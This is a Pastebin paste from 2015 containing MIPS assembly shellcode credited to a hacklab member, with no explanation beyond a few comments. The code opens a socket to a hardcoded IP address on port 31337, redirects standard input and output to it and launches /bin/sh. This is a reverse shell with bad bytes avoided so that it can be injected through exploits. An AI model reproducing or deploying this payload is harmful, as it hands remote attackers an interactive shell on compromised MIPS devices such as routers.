hdarwin

mips_shellcode_new.s

Apr 27th, 2015
402
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # hdarwin @ hacklab
  2. # @hdarwin89
  3. # bad character : 00 ff
  4. # socket connect dup dup dup execve
  5. .global main
  6. main:
  7.     li $s3, 0x5252
  8.     sub $a0, $s3, 0x5250
  9.     sub $a1, $s3, 0x5250
  10.     sub $a2, $s3, 0x5252
  11.     li $v0, 4183
  12.     syscall 0x42424
  13.  
  14.     add $a0, $v0, 0x4242
  15.     sub $a0, $a0, 0x4242
  16.     sub $t6, $s3, 0x5250
  17.     sw $t6, 0x212($sp)
  18.  
  19.     #port 31337
  20.     lui $t6, 0x7a69
  21.     ori $t6, $t6, 0x7a69
  22.     sw $t6, 0x216($sp) 
  23.  
  24.     #ip
  25.     lui $t6, 0x2d38
  26.     ori $t6, $t6, 0x4749
  27.     sw $t6, 0x218($sp)
  28.  
  29.     addi $a1, $sp, 0x214
  30.     sub $a2, $s3, 0x5242
  31.     li $v0, 4170
  32.     syscall 0x42424
  33.  
  34.     sub $a0, $s3, 0x524d
  35.     sub $a1, $s3, 0x5250
  36.     li $v0, 4063
  37.     syscall 0x42424
  38.     sub $a1, $s3, 0x5251
  39.     li $v0, 4063
  40.     syscall 0x42424
  41.     sub $a1, $s3, 0x5252
  42.     li $v0, 4063
  43.     syscall 0x42424
  44.  
  45.     lui $t7, 0x2f62
  46.     ori $t7, $t7, 0x696e
  47.     sw $t7, 304($sp)
  48.     lui $t7, 0x2f73
  49.     ori $t7, 0x6868
  50.     sw $t7, 308($sp)
  51.     sb $a1, 311($sp)
  52.     add $a0, $sp, 304
  53.     sw $a0, 404($sp)
  54.     add $a1, $sp, 404
  55.     sub $a2, $s3, 0x5252
  56.     li $v0, 4011
  57.     syscall 0x42424
Advertisement
Add Comment
Please, Sign In to add comment